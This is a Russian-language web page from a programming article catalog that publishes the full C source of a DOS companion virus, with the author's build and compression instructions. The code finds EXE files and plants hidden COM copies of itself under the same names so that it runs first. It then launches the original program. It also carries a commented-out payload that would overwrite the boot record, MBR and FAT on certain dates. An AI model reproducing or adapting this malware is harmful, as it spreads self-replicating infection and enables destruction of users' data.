Приветствую Вас ГостьПонедельник, 14.07.2025, 20:52

Light Midnight Inc.


Каталог статей

Главная » Статьи » Программирование » С/С++/MFC

HLLC

made by 'l0ck' //[ PVL ] KAPMAH опять моя лень... //сдирать хоть и такое простое с точки зрения написания куда проще //чем писать все самому целых примерно 15мин -- тем более я вири не люблю за их неактуальность !!! В общем простенький HLLC. Компилил я его на BC++, · но вроде будет и на TC 2.0 работать, а если не будет - · переделать его под Турбины как два пальца об асфальт :) · Компилируйте в ЕХЕ, переименуйте в СОМ и DIET -I MUTE.COM · Размер после сжатия - 10108. Если в Activate() убрать · коментарий с abswrite() то, если месяц будет в N раз больше · дня то настанет хана MBR, BOOT и FAT (N - число аргументов · в командной строке).

#include <alloc.h> // Подключаем
#include <dos.h> // стандартные
#include <fcntl.h> // header-файлы
#include <io.h> // ...........
int h; // Handle
long size; // Hаша длина.
char *me; // Переменная имени victim.
char *buf; // Буфер, куда читаем себя.
int i, k, yes, exist; // Переменные для Infect и RunVict.
struct ffblk ffblk; //.................................

void Infect() // Функция заражения.
{ // Ищем ехе-шники -----------------------------+
 yes = findfirst("*.EXE", &ffblk, FA_ARCH|FA_RDONLY|FA_HIDDEN); // <---|
 while (!yes&&!k) {
 strcpy(me, ffblk.ff_name);
 for(i = 1; i < 8; i++) // Если нашли -
 if(me[i] == '.') break; // подставляем
 i++; // к нему ext.
 me[i++] = 'C'; // СОМ
 me[i++] = 'O'; // .............
 me[i++] = 'M'; // .............
 exist = _open(me, FA_RDONLY); // Проверка:
 if(exist == -1) { // Если такого
 h = _creat(me, 0); // файла *.com
 _write(h, buf, size); // нету, создаем
 _close(h); // его и пишем в
 _chmod(me, 1, FA_HIDDEN); // него себя, потом
 k = 1; // делаем Hidden
 } // и уходим.
 findnext(&ffblk); // Если есть
 } free(buf); // ищем другой файл
} // буфер свободен.
// Функция запуска настояшего файла. --------------------------------+
void RunVict(char *me, char *argv[]) // <------|
{ //................
 for(i = 1; i < 255; i++) // К своему имени
 if(me[i] == '.') break; // прибавляем
 i++; // расширение
 me[i++] = 'E'; // ЕХЕ и получаем
 me[i++] = 'X'; // имя жертвы.
 me[i++] = 'E'; // ..............
execv(me, argv); // И запускаем!!!
} //
// Функция активации.--------------------------------------------------+
void Activate(int n) // <-------+
{ //
 _AH = 0x2A; __int__(0x21);
 if(_DH == 11&& _DL == 3) {
 printf(" -----------------------¬ \n");
 printf(" ¦ Happy Birthday to U! ¦ \n");
 printf("---- Happy Birthday to U! L--¬\n");
 printf("¦ Happy Birthday dear 10ck! ¦\n");
 printf("L--¬ Happy Birthday to U! ----\n");
 printf("В свой день рождения я ничего \n");
 printf(" не буду зар0жать!!! ");
 exit(0); }
 if(n*_DL == _DH) {
 // abswrite(2, 5, 0, (void*), 0); //Trash BOOT, MBR, FAT.
 }

}
// Главная функция -----------------------------------------------+
void main(int argc, char *argv[]) // <-------|
{ //...............
 Activate(argc); // Активируем?
 h = _open(argv[0], O_RDONLY); // Открываем себя
 size = filelength(h); // смотрим размер
 (char *) buf = malloc(size); // выделяем память
 _read(h, buf, size); // читаем себя и
 _close(h); // закрываем себя.
 Infect(); // Заражаем.
 RunVict(argv[0], argv); // Запускаем orig.
} // ..............

Категория: С/С++/MFC | Добавил: Cromartie (31.01.2013)
Просмотров: 483 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Наш опрос
Оцените мой сайт
Всего ответов: 543
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Cheсking
Часы
Мини-чат
200
Друзья Сайта
  • Light Midnight - Ваша Еда
  • Light Midnight - Anim as life style
  • Поиск